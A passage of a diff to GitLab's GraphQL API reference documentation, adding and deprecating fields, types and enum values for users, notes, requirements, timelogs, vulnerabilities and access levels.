| <a id="mergerequestparticipantavatarurl"></a>`avatarUrl` | [`String`](#string) | URL of the user's avatar. |
| <a id="mergerequestparticipantbot"></a>`bot` | [`Boolean!`](#boolean) | Indicates if the user is a bot. |
| <a id="mergerequestparticipantcallouts"></a>`callouts` | [`UserCalloutConnection`](#usercalloutconnection) | User callouts that belong to the user. (see [Connections](#connections)) |
+| <a id="mergerequestparticipantcommitemail"></a>`commitEmail` | [`String`](#string) | User's default commit email. |
| <a id="mergerequestparticipantemail"></a>`email` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.7. This was renamed. Use: [`User.publicEmail`](#userpublicemail). |
+| <a id="mergerequestparticipantemails"></a>`emails` | [`EmailConnection`](#emailconnection) | User's email addresses. (see [Connections](#connections)) |
| <a id="mergerequestparticipantgitpodenabled"></a>`gitpodEnabled` | [`Boolean`](#boolean) | Whether Gitpod is enabled at the user level. |
| <a id="mergerequestparticipantgroupcount"></a>`groupCount` | [`Int`](#int) | Group count for the user. |
| <a id="mergerequestparticipantgroupmemberships"></a>`groupMemberships` | [`GroupMemberConnection`](#groupmemberconnection) | Group memberships of the user. (see [Connections](#connections)) |
@@ -15611,6 +15867,7 @@ A user participating in a merge request.
| <a id="mergerequestparticipantmergerequestinteraction"></a>`mergeRequestInteraction` | [`UserMergeRequestInteraction`](#usermergerequestinteraction) | Details of this user's interactions with the merge request. |
| <a id="mergerequestparticipantname"></a>`name` | [`String!`](#string) | Human-readable name of the user. Returns `****` if the user is a project bot and the requester does not have permission to view the project. |
| <a id="mergerequestparticipantnamespace"></a>`namespace` | [`Namespace`](#namespace) | Personal namespace of the user. |
+| <a id="mergerequestparticipantnamespacecommitemails"></a>`namespaceCommitEmails` | [`NamespaceCommitEmailConnection`](#namespacecommitemailconnection) | User's custom namespace commit emails. (see [Connections](#connections)) |
| <a id="mergerequestparticipantpreferencesgitpodpath"></a>`preferencesGitpodPath` | [`String`](#string) | Web path to the Gitpod section within user preferences. |
| <a id="mergerequestparticipantprofileenablegitpodpath"></a>`profileEnableGitpodPath` | [`String`](#string) | Web path to enable Gitpod for the user. |
| <a id="mergerequestparticipantprojectmemberships"></a>`projectMemberships` | [`ProjectMemberConnection`](#projectmemberconnection) | Project memberships of the user. (see [Connections](#connections)) |
@@ -15796,6 +16053,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="mergerequestparticipanttimelogsendtime"></a>`endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. |
| <a id="mergerequestparticipanttimelogsgroupid"></a>`groupId` | [`GroupID`](#groupid) | List timelogs for a group. |
| <a id="mergerequestparticipanttimelogsprojectid"></a>`projectId` | [`ProjectID`](#projectid) | List timelogs for a project. |
+| <a id="mergerequestparticipanttimelogssort"></a>`sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. |
| <a id="mergerequestparticipanttimelogsstartdate"></a>`startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. |
| <a id="mergerequestparticipanttimelogsstarttime"></a>`startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. |
| <a id="mergerequestparticipanttimelogsusername"></a>`username` | [`String`](#string) | List timelogs for a user. |
@@ -15850,7 +16108,9 @@ A user assigned to a merge request as a reviewer.
| <a id="mergerequestrevieweravatarurl"></a>`avatarUrl` | [`String`](#string) | URL of the user's avatar. |
| <a id="mergerequestreviewerbot"></a>`bot` | [`Boolean!`](#boolean) | Indicates if the user is a bot. |
| <a id="mergerequestreviewercallouts"></a>`callouts` | [`UserCalloutConnection`](#usercalloutconnection) | User callouts that belong to the user. (see [Connections](#connections)) |
+| <a id="mergerequestreviewercommitemail"></a>`commitEmail` | [`String`](#string) | User's default commit email. |
| <a id="mergerequestrevieweremail"></a>`email` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.7. This was renamed. Use: [`User.publicEmail`](#userpublicemail). |
+| <a id="mergerequestrevieweremails"></a>`emails` | [`EmailConnection`](#emailconnection) | User's email addresses. (see [Connections](#connections)) |
| <a id="mergerequestreviewergitpodenabled"></a>`gitpodEnabled` | [`Boolean`](#boolean) | Whether Gitpod is enabled at the user level. |
| <a id="mergerequestreviewergroupcount"></a>`groupCount` | [`Int`](#int) | Group count for the user. |
| <a id="mergerequestreviewergroupmemberships"></a>`groupMemberships` | [`GroupMemberConnection`](#groupmemberconnection) | Group memberships of the user. (see [Connections](#connections)) |
@@ -15859,6 +16119,7 @@ A user assigned to a merge request as a reviewer.
| <a id="mergerequestreviewermergerequestinteraction"></a>`mergeRequestInteraction` | [`UserMergeRequestInteraction`](#usermergerequestinteraction) | Details of this user's interactions with the merge request. |
| <a id="mergerequestreviewername"></a>`name` | [`String!`](#string) | Human-readable name of the user. Returns `****` if the user is a project bot and the requester does not have permission to view the project. |
| <a id="mergerequestreviewernamespace"></a>`namespace` | [`Namespace`](#namespace) | Personal namespace of the user. |
+| <a id="mergerequestreviewernamespacecommitemails"></a>`namespaceCommitEmails` | [`NamespaceCommitEmailConnection`](#namespacecommitemailconnection) | User's custom namespace commit emails. (see [Connections](#connections)) |
| <a id="mergerequestreviewerpreferencesgitpodpath"></a>`preferencesGitpodPath` | [`String`](#string) | Web path to the Gitpod section within user preferences. |
| <a id="mergerequestreviewerprofileenablegitpodpath"></a>`profileEnableGitpodPath` | [`String`](#string) | Web path to enable Gitpod for the user. |
| <a id="mergerequestreviewerprojectmemberships"></a>`projectMemberships` | [`ProjectMemberConnection`](#projectmemberconnection) | Project memberships of the user. (see [Connections](#connections)) |
@@ -16044,6 +16305,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="mergerequestreviewertimelogsendtime"></a>`endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. |
| <a id="mergerequestreviewertimelogsgroupid"></a>`groupId` | [`GroupID`](#groupid) | List timelogs for a group. |
| <a id="mergerequestreviewertimelogsprojectid"></a>`projectId` | [`ProjectID`](#projectid) | List timelogs for a project. |
+| <a id="mergerequestreviewertimelogssort"></a>`sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. |
| <a id="mergerequestreviewertimelogsstartdate"></a>`startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. |
| <a id="mergerequestreviewertimelogsstarttime"></a>`startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. |
| <a id="mergerequestreviewertimelogsusername"></a>`username` | [`String`](#string) | List timelogs for a user. |
@@ -16190,6 +16452,7 @@ Contains statistics about a milestone.
| Name | Type | Description |
| ---- | ---- | ----------- |
+| <a id="namespaceachievements"></a>`achievements` **{warning-solid}** | [`AchievementConnection`](#achievementconnection) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. Achievements for the namespace. Returns `null` if the `achievements` feature flag is disabled. |
| <a id="namespaceactualrepositorysizelimit"></a>`actualRepositorySizeLimit` | [`Float`](#float) | Size limit for repositories in the namespace in bytes. |
| <a id="namespaceadditionalpurchasedstoragesize"></a>`additionalPurchasedStorageSize` | [`Float`](#float) | Additional storage purchased for the root namespace in bytes. |
| <a id="namespacecontainslockedprojects"></a>`containsLockedProjects` | [`Boolean!`](#boolean) | Includes at least one project where the repository size exceeds the limit. |
@@ -16306,6 +16569,18 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="namespacecicdsettingallowstalerunnerpruning"></a>`allowStaleRunnerPruning` | [`Boolean`](#boolean) | Indicates if stale runners directly belonging to this namespace should be periodically pruned. |
| <a id="namespacecicdsettingnamespace"></a>`namespace` | [`Namespace`](#namespace) | Namespace the CI/CD settings belong to. |
+### `NamespaceCommitEmail`
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="namespacecommitemailcreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp the namespace commit email was created. |
+| <a id="namespacecommitemailemail"></a>`email` | [`Email!`](#email) | Email. |
+| <a id="namespacecommitemailid"></a>`id` | [`ID!`](#id) | Internal ID of the namespace commit email. |
+| <a id="namespacecommitemailnamespace"></a>`namespace` | [`Namespace!`](#namespace) | Namespace. |
+| <a id="namespacecommitemailupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp the namespace commit email was last updated. |
+
### `NestedEnvironment`
Describes where code is deployed for a project organized by folder.
@@ -16349,6 +16624,8 @@ Represents the network policy.
| <a id="notediscussion"></a>`discussion` | [`Discussion`](#discussion) | Discussion this note is a part of. |
| <a id="noteid"></a>`id` | [`NoteID!`](#noteid) | ID of the note. |
| <a id="noteinternal"></a>`internal` | [`Boolean`](#boolean) | Indicates if this note is internal. |
+| <a id="notelasteditedat"></a>`lastEditedAt` | [`Time`](#time) | Timestamp when note was last edited. |
+| <a id="notelasteditedby"></a>`lastEditedBy` | [`UserCore`](#usercore) | User who last edited the note. |
| <a id="noteposition"></a>`position` | [`DiffPosition`](#diffposition) | Position of this note on a diff. |
| <a id="noteproject"></a>`project` | [`Project`](#project) | Project associated with the note. |
| <a id="noteresolvable"></a>`resolvable` | [`Boolean!`](#boolean) | Indicates if the object can be resolved. |
@@ -16357,6 +16634,7 @@ Represents the network policy.
| <a id="noteresolvedby"></a>`resolvedBy` | [`UserCore`](#usercore) | User who resolved the object. |
| <a id="notesystem"></a>`system` | [`Boolean!`](#boolean) | Indicates whether this note was created by the system or by a user. |
| <a id="notesystemnoteiconname"></a>`systemNoteIconName` | [`String`](#string) | Name of the icon corresponding to a system note. |
+| <a id="notesystemnotemetadata"></a>`systemNoteMetadata` | [`SystemNoteMetadata`](#systemnotemetadata) | Metadata for the given note if it is a system note. |
| <a id="noteupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp of the note's last activity. |
| <a id="noteurl"></a>`url` | [`String`](#string) | URL to view this Note in the Web UI. |
| <a id="noteuserpermissions"></a>`userPermissions` | [`NotePermissions!`](#notepermissions) | Permissions for the current user on the resource. |
@@ -16820,6 +17098,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="pipelinejobsretried"></a>`retried` | [`Boolean`](#boolean) | Filter jobs by retry-status. |
| <a id="pipelinejobssecurityreporttypes"></a>`securityReportTypes` | [`[SecurityReportTypeEnum!]`](#securityreporttypeenum) | Filter jobs by the type of security report they produce. |
| <a id="pipelinejobsstatuses"></a>`statuses` | [`[CiJobStatus!]`](#cijobstatus) | Filter jobs by status. |
+| <a id="pipelinejobswhenexecuted"></a>`whenExecuted` | [`[String!]`](#string) | Filter jobs by when they are executed. |
##### `Pipeline.securityReportFinding`
@@ -17012,8 +17291,10 @@ Represents vulnerability finding of a security report on the pipeline.
| <a id="pipelinesecurityreportfindingevidence"></a>`evidence` | [`VulnerabilityEvidence`](#vulnerabilityevidence) | Evidence for the vulnerability. |
| <a id="pipelinesecurityreportfindingfalsepositive"></a>`falsePositive` | [`Boolean`](#boolean) | Indicates whether the vulnerability is a false positive. |
| <a id="pipelinesecurityreportfindingidentifiers"></a>`identifiers` | [`[VulnerabilityIdentifier!]!`](#vulnerabilityidentifier) | Identifiers of the vulnerability finding. |
+| <a id="pipelinesecurityreportfindingissuelinks"></a>`issueLinks` | [`VulnerabilityIssueLinkConnection`](#vulnerabilityissuelinkconnection) | List of issue links related to the vulnerability. (see [Connections](#connections)) |
| <a id="pipelinesecurityreportfindinglinks"></a>`links` | [`[VulnerabilityLink!]`](#vulnerabilitylink) | List of links associated with the vulnerability. |
| <a id="pipelinesecurityreportfindinglocation"></a>`location` | [`VulnerabilityLocation`](#vulnerabilitylocation) | Location metadata for the vulnerability. Its fields depend on the type of security scan that found the vulnerability. |
+| <a id="pipelinesecurityreportfindingmergerequest"></a>`mergeRequest` | [`MergeRequest`](#mergerequest) | Merge request that fixes the vulnerability. |
| <a id="pipelinesecurityreportfindingname"></a>`name` **{warning-solid}** | [`String`](#string) | **Deprecated** in 15.1. Use `title`. |
| <a id="pipelinesecurityreportfindingproject"></a>`project` | [`Project`](#project) | Project on which the vulnerability finding was found. |
| <a id="pipelinesecurityreportfindingprojectfingerprint"></a>`projectFingerprint` **{warning-solid}** | [`String`](#string) | **Deprecated** in 15.1. The `project_fingerprint` attribute is being deprecated. Use `uuid` to identify findings. |
@@ -18107,8 +18388,8 @@ Returns [`Requirement`](#requirement).
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="projectrequirementauthorusername"></a>`authorUsername` | [`[String!]`](#string) | Filter requirements by author username. |
-| <a id="projectrequirementiid"></a>`iid` | [`ID`](#id) | IID of the requirement, for example, "1". |
-| <a id="projectrequirementiids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of requirements, for example, `[1, 2]`. |
+| <a id="projectrequirementiid"></a>`iid` **{warning-solid}** | [`ID`](#id) | **Deprecated** in 15.8. Use work_item_iid instead. |
+| <a id="projectrequirementiids"></a>`iids` **{warning-solid}** | [`[ID!]`](#id) | **Deprecated** in 15.8. Use work_item_iids instead. |
| <a id="projectrequirementlasttestreportstate"></a>`lastTestReportState` | [`RequirementStatusFilter`](#requirementstatusfilter) | State of latest requirement test report. |
| <a id="projectrequirementsearch"></a>`search` | [`String`](#string) | Search query for requirement title. |
| <a id="projectrequirementsort"></a>`sort` | [`Sort`](#sort) | List requirements by sort order. |
@@ -18131,8 +18412,8 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="projectrequirementsauthorusername"></a>`authorUsername` | [`[String!]`](#string) | Filter requirements by author username. |
-| <a id="projectrequirementsiid"></a>`iid` | [`ID`](#id) | IID of the requirement, for example, "1". |
-| <a id="projectrequirementsiids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of requirements, for example, `[1, 2]`. |
+| <a id="projectrequirementsiid"></a>`iid` **{warning-solid}** | [`ID`](#id) | **Deprecated** in 15.8. Use work_item_iid instead. |
+| <a id="projectrequirementsiids"></a>`iids` **{warning-solid}** | [`[ID!]`](#id) | **Deprecated** in 15.8. Use work_item_iids instead. |
| <a id="projectrequirementslasttestreportstate"></a>`lastTestReportState` | [`RequirementStatusFilter`](#requirementstatusfilter) | State of latest requirement test report. |
| <a id="projectrequirementssearch"></a>`search` | [`String`](#string) | Search query for requirement title. |
| <a id="projectrequirementssort"></a>`sort` | [`Sort`](#sort) | List requirements by sort order. |
@@ -18297,6 +18578,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="projecttimelogsendtime"></a>`endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. |
| <a id="projecttimelogsgroupid"></a>`groupId` | [`GroupID`](#groupid) | List timelogs for a group. |
| <a id="projecttimelogsprojectid"></a>`projectId` | [`ProjectID`](#projectid) | List timelogs for a project. |
+| <a id="projecttimelogssort"></a>`sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. |
| <a id="projecttimelogsstartdate"></a>`startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. |
| <a id="projecttimelogsstarttime"></a>`startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. |
| <a id="projecttimelogsusername"></a>`username` | [`String`](#string) | List timelogs for a user. |
@@ -18873,12 +19155,12 @@ Returns [`Tree`](#tree).
| <a id="repositoryblobprojectblobpathroot"></a>`projectBlobPathRoot` | [`String`](#string) | Web path for the root of the blob. |
| <a id="repositoryblobrawblob"></a>`rawBlob` | [`String`](#string) | Raw content of the blob. |
| <a id="repositoryblobrawpath"></a>`rawPath` | [`String`](#string) | Web path to download the raw blob. |
-| <a id="repositoryblobrawsize"></a>`rawSize` | [`Int`](#int) | Size (in bytes) of the blob, or the blob target if stored externally. |
+| <a id="repositoryblobrawsize"></a>`rawSize` | [`BigInt`](#bigint) | Size (in bytes) of the blob, or the blob target if stored externally. |
| <a id="repositoryblobrawtextblob"></a>`rawTextBlob` | [`String`](#string) | Raw content of the blob, if the blob is text data. |
| <a id="repositoryblobreplacepath"></a>`replacePath` | [`String`](#string) | Web path to replace the blob content. |
| <a id="repositoryblobrichviewer"></a>`richViewer` | [`BlobViewer`](#blobviewer) | Blob content rich viewer. |
| <a id="repositoryblobsimpleviewer"></a>`simpleViewer` | [`BlobViewer!`](#blobviewer) | Blob content simple viewer. |
-| <a id="repositoryblobsize"></a>`size` | [`Int`](#int) | Size (in bytes) of the blob. |
+| <a id="repositoryblobsize"></a>`size` | [`BigInt`](#bigint) | Size (in bytes) of the blob. |
| <a id="repositoryblobstoredexternally"></a>`storedExternally` | [`Boolean`](#boolean) | Whether the blob's content is stored externally (for instance, in LFS). |
| <a id="repositoryblobwebpath"></a>`webPath` | [`String`](#string) | Web path of the blob. |
@@ -18905,7 +19187,7 @@ Represents a requirement.
| <a id="requirementdescription"></a>`description` | [`String`](#string) | Description of the requirement. |
| <a id="requirementdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `description`. |
| <a id="requirementid"></a>`id` | [`ID!`](#id) | ID of the requirement. |
-| <a id="requirementiid"></a>`iid` | [`ID!`](#id) | Internal ID of the requirement. |
+| <a id="requirementiid"></a>`iid` **{warning-solid}** | [`ID!`](#id) | **Deprecated** in 15.8. Use work_item_iid instead. |
| <a id="requirementlasttestreportmanuallycreated"></a>`lastTestReportManuallyCreated` | [`Boolean`](#boolean) | Indicates if latest test report was created by user. |
| <a id="requirementlasttestreportstate"></a>`lastTestReportState` | [`TestReportState`](#testreportstate) | Latest requirement test report state. |
| <a id="requirementproject"></a>`project` | [`Project!`](#project) | Project to which the requirement belongs. |
@@ -19376,6 +19658,7 @@ Represents a snippet entry.
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="snippetauthor"></a>`author` | [`UserCore`](#usercore) | Owner of the snippet. |
+| <a id="snippetcommenters"></a>`commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) |
| <a id="snippetcreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp this snippet was created. |
| <a id="snippetdescription"></a>`description` | [`String`](#string) | Description of the snippet. |
| <a id="snippetdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. |
@@ -19548,9 +19831,18 @@ Represents a Suggested Reviewers result set.
| Name | Type | Description |
| ---- | ---- | ----------- |
-| <a id="suggestedreviewerstypereviewers"></a>`reviewers` | [`[String!]!`](#string) | List of reviewers. |
-| <a id="suggestedreviewerstypetopn"></a>`topN` | [`Int`](#int) | Number of reviewers returned. |
-| <a id="suggestedreviewerstypeversion"></a>`version` | [`String`](#string) | Suggested reviewer version. |
+| <a id="suggestedreviewerstypeaccepted"></a>`accepted` | [`[String!]`](#string) | List of accepted reviewer usernames. |
+| <a id="suggestedreviewerstypesuggested"></a>`suggested` | [`[String!]!`](#string) | List of suggested reviewer usernames. |
+
+### `SystemNoteMetadata`
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="systemnotemetadataaction"></a>`action` | [`String`](#string) | System note metadata action. |
+| <a id="systemnotemetadatadescriptionversion"></a>`descriptionVersion` | [`DescriptionVersion`](#descriptionversion) | Version of the changed description. |
+| <a id="systemnotemetadataid"></a>`id` | [`SystemNoteMetadataID!`](#systemnotemetadataid) | Global ID of the specific system note metadata. |
### `TaskCompletionStatus`
@@ -19641,6 +19933,7 @@ Represents a requirement test report.
| <a id="testreportcreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp of when the test report was created. |
| <a id="testreportid"></a>`id` | [`ID!`](#id) | ID of the test report. |
| <a id="testreportstate"></a>`state` | [`TestReportState!`](#testreportstate) | State of the test report. |
+| <a id="testreportuseslegacyiid"></a>`usesLegacyIid` | [`Boolean`](#boolean) | Indicates whether the test report was generated with references to legacy requirement IIDs. |
### `TestReportSummary`
@@ -19948,7 +20241,9 @@ Core represention of a GitLab user.
| <a id="usercoreavatarurl"></a>`avatarUrl` | [`String`](#string) | URL of the user's avatar. |
| <a id="usercorebot"></a>`bot` | [`Boolean!`](#boolean) | Indicates if the user is a bot. |
| <a id="usercorecallouts"></a>`callouts` | [`UserCalloutConnection`](#usercalloutconnection) | User callouts that belong to the user. (see [Connections](#connections)) |
+| <a id="usercorecommitemail"></a>`commitEmail` | [`String`](#string) | User's default commit email. |
| <a id="usercoreemail"></a>`email` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.7. This was renamed. Use: [`User.publicEmail`](#userpublicemail). |
+| <a id="usercoreemails"></a>`emails` | [`EmailConnection`](#emailconnection) | User's email addresses. (see [Connections](#connections)) |
| <a id="usercoregitpodenabled"></a>`gitpodEnabled` | [`Boolean`](#boolean) | Whether Gitpod is enabled at the user level. |
| <a id="usercoregroupcount"></a>`groupCount` | [`Int`](#int) | Group count for the user. |
| <a id="usercoregroupmemberships"></a>`groupMemberships` | [`GroupMemberConnection`](#groupmemberconnection) | Group memberships of the user. (see [Connections](#connections)) |
@@ -19956,6 +20251,7 @@ Core represention of a GitLab user.
| <a id="usercorelocation"></a>`location` | [`String`](#string) | Location of the user. |
| <a id="usercorename"></a>`name` | [`String!`](#string) | Human-readable name of the user. Returns `****` if the user is a project bot and the requester does not have permission to view the project. |
| <a id="usercorenamespace"></a>`namespace` | [`Namespace`](#namespace) | Personal namespace of the user. |
+| <a id="usercorenamespacecommitemails"></a>`namespaceCommitEmails` | [`NamespaceCommitEmailConnection`](#namespacecommitemailconnection) | User's custom namespace commit emails. (see [Connections](#connections)) |
| <a id="usercorepreferencesgitpodpath"></a>`preferencesGitpodPath` | [`String`](#string) | Web path to the Gitpod section within user preferences. |
| <a id="usercoreprofileenablegitpodpath"></a>`profileEnableGitpodPath` | [`String`](#string) | Web path to enable Gitpod for the user. |
| <a id="usercoreprojectmemberships"></a>`projectMemberships` | [`ProjectMemberConnection`](#projectmemberconnection) | Project memberships of the user. (see [Connections](#connections)) |
@@ -20141,6 +20437,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="usercoretimelogsendtime"></a>`endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. |
| <a id="usercoretimelogsgroupid"></a>`groupId` | [`GroupID`](#groupid) | List timelogs for a group. |
| <a id="usercoretimelogsprojectid"></a>`projectId` | [`ProjectID`](#projectid) | List timelogs for a project. |
+| <a id="usercoretimelogssort"></a>`sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. |
| <a id="usercoretimelogsstartdate"></a>`startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. |
| <a id="usercoretimelogsstarttime"></a>`startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. |
| <a id="usercoretimelogsusername"></a>`username` | [`String`](#string) | List timelogs for a user. |
@@ -20236,6 +20533,7 @@ Represents a vulnerability.
| Name | Type | Description |
| ---- | ---- | ----------- |
+| <a id="vulnerabilitycommenters"></a>`commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) |
| <a id="vulnerabilityconfirmedat"></a>`confirmedAt` | [`Time`](#time) | Timestamp of when the vulnerability state was changed to confirmed. |
| <a id="vulnerabilityconfirmedby"></a>`confirmedBy` | [`UserCore`](#usercore) | User that confirmed the vulnerability. |
| <a id="vulnerabilitydescription"></a>`description` | [`String`](#string) | Description of the vulnerability. |
@@ -20265,6 +20563,7 @@ Represents a vulnerability.
| <a id="vulnerabilityseverity"></a>`severity` | [`VulnerabilitySeverity`](#vulnerabilityseverity) | Severity of the vulnerability (INFO, UNKNOWN, LOW, MEDIUM, HIGH, CRITICAL). |
| <a id="vulnerabilitystate"></a>`state` | [`VulnerabilityState`](#vulnerabilitystate) | State of the vulnerability (DETECTED, CONFIRMED, RESOLVED, DISMISSED). |
| <a id="vulnerabilitytitle"></a>`title` | [`String`](#string) | Title of the vulnerability. |
+| <a id="vulnerabilityupdatedat"></a>`updatedAt` | [`Time`](#time) | Timestamp of when the vulnerability was last updated. |
| <a id="vulnerabilityusernotescount"></a>`userNotesCount` | [`Int!`](#int) | Number of user notes attached to the vulnerability. |
| <a id="vulnerabilityuserpermissions"></a>`userPermissions` | [`VulnerabilityPermissions!`](#vulnerabilitypermissions) | Permissions for the current user on the resource. |
| <a id="vulnerabilityvulnerabilitypath"></a>`vulnerabilityPath` | [`String`](#string) | Path to the vulnerability's details page. |
@@ -20971,6 +21270,17 @@ Represents a progress widget.
| <a id="workitemwidgetprogressprogress"></a>`progress` | [`Int`](#int) | Progress of the work item. |
| <a id="workitemwidgetprogresstype"></a>`type` | [`WorkItemWidgetType`](#workitemwidgettype) | Widget type. |
+### `WorkItemWidgetRequirementLegacy`
+
+Represents a legacy requirement widget.
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="workitemwidgetrequirementlegacylegacyiid"></a>`legacyIid` **{warning-solid}** | [`Int`](#int) | **Deprecated** in 15.9. Use Work Item IID instead. |
+| <a id="workitemwidgetrequirementlegacytype"></a>`type` | [`WorkItemWidgetType`](#workitemwidgettype) | Widget type. |
+
### `WorkItemWidgetStartAndDueDate`
Represents a start and due date widget.
@@ -21067,6 +21377,7 @@ Access level to a resource.
| Value | Description |
| ----- | ----------- |
+| <a id="accesslevelenumadmin"></a>`ADMIN` | Admin access. |
| <a id="accesslevelenumdeveloper"></a>`DEVELOPER` | Developer access. |
| <a id="accesslevelenumguest"></a>`GUEST` | Guest access. |
| <a id="accesslevelenummaintainer"></a>`MAINTAINER` | Maintainer access. |
@@ -21552,6 +21863,17 @@ Values for sorting tags.
| <a id="customerrelationsorganizationstateall"></a>`all` | All available organizations. |
| <a id="customerrelationsorganizationstateinactive"></a>`inactive` | Inactive organizations. |
+### `DastPreScanVerificationStatus`
+
+Status of DAST pre scan verification.
+
+| Value | Description |
+| ----- | ----------- |
+| <a id="dastprescanverificationstatuscomplete"></a>`COMPLETE` | Pre Scan Verification complete without errors. |
+| <a id="dastprescanverificationstatuscomplete_with_errors"></a>`COMPLETE_WITH_ERRORS` | Pre Scan Verification finished with one or more errors. |
+| <a id="dastprescanverificationstatusfailed"></a>`FAILED` | Pre Scan Validation unable to finish. |
+| <a id="dastprescanverificationstatusrunning"></a>`RUNNING` | Pre Scan Verification in execution. |
+
### `DastProfileCadenceUnit`
Unit for the duration of Dast Profile Cadence.
@@ -22153,6 +22475,19 @@ Possible identifier types for a measurement.
| <a id="measurementidentifierprojects"></a>`PROJECTS` | Project count. |
| <a id="measurementidentifierusers"></a>`USERS` | User count. |
+### `MemberAccessLevel`
+
+Access level of a group or project member.
+
+| Value | Description |
+| ----- | ----------- |
+| <a id="memberaccessleveldeveloper"></a>`DEVELOPER` | Developer access. |
+| <a id="memberaccesslevelguest"></a>`GUEST` | Guest access. |
+| <a id="memberaccesslevelmaintainer"></a>`MAINTAINER` | Maintainer access. |
+| <a id="memberaccesslevelminimal_access"></a>`MINIMAL_ACCESS` | Minimal access. |
+| <a id="memberaccesslevelowner"></a>`OWNER` | Owner access. |
+| <a id="memberaccesslevelreporter"></a>`REPORTER` | Reporter access. |
+
### `MemberSort`
Values for sorting members.
@@ -22679,6 +23014,7 @@ State of a Sentry error.
| Value | Description |
| ----- | ----------- |
+| <a id="servicetypeapple_app_store_service"></a>`APPLE_APP_STORE_SERVICE` | AppleAppStoreService type. |
| <a id="servicetypeasana_service"></a>`ASANA_SERVICE` | AsanaService type. |
| <a id="servicetypeassembla_service"></a>`ASSEMBLA_SERVICE` | AssemblaService type. |
| <a id="servicetypebamboo_service"></a>`BAMBOO_SERVICE` | BambooService type. |
@@ -22732,8 +23068,9 @@ How to format SHA strings.
| Value | Description |
| ----- | ----------- |
+| <a id="sharedrunnerssettingdisabled_and_overridable"></a>`DISABLED_AND_OVERRIDABLE` | Sharing of runners is disabled and overridable. |
| <a id="sharedrunnerssettingdisabled_and_unoverridable"></a>`DISABLED_AND_UNOVERRIDABLE` | Sharing of runners is disabled and unoverridable. |
-| <a id="sharedrunnerssettingdisabled_with_override"></a>`DISABLED_WITH_OVERRIDE` | Sharing of runners is disabled with override. |
+| <a id="sharedrunnerssettingdisabled_with_override"></a>`DISABLED_WITH_OVERRIDE` **{warning-solid}** | **Deprecated** in 17.0. This was renamed. Use: `disabled_and_overridable`. |
| <a id="sharedrunnerssettingenabled"></a>`ENABLED` | Sharing of runners is enabled. |
### `SnippetBlobActionEnum`
@@ -22813,6 +23150,25 @@ Category of error.
| <a id="timeboxreporterrorreasonupdated_asc"></a>`updated_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_ASC`. |
| <a id="timeboxreporterrorreasonupdated_desc"></a>`updated_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_DESC`. |
+### `TimelogSort`
+
+Values for sorting timelogs.
+
+| Value | Description |
+| ----- | ----------- |
+| <a id="timelogsortcreated_asc"></a>`CREATED_ASC` | Created at ascending order. |
+| <a id="timelogsortcreated_desc"></a>`CREATED_DESC` | Created at descending order. |
+| <a id="timelogsortspent_at_asc"></a>`SPENT_AT_ASC` | Spent at by ascending order. |
+| <a id="timelogsortspent_at_desc"></a>`SPENT_AT_DESC` | Spent at by descending order. |
+| <a id="timelogsorttime_spent_asc"></a>`TIME_SPENT_ASC` | Time spent by ascending order. |
+| <a id="timelogsorttime_spent_desc"></a>`TIME_SPENT_DESC` | Time spent by descending order. |
+| <a id="timelogsortupdated_asc"></a>`UPDATED_ASC` | Updated at ascending order. |
+| <a id="timelogsortupdated_desc"></a>`UPDATED_DESC` | Updated at descending order. |
+| <a id="timelogsortcreated_asc"></a>`created_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_ASC`. |
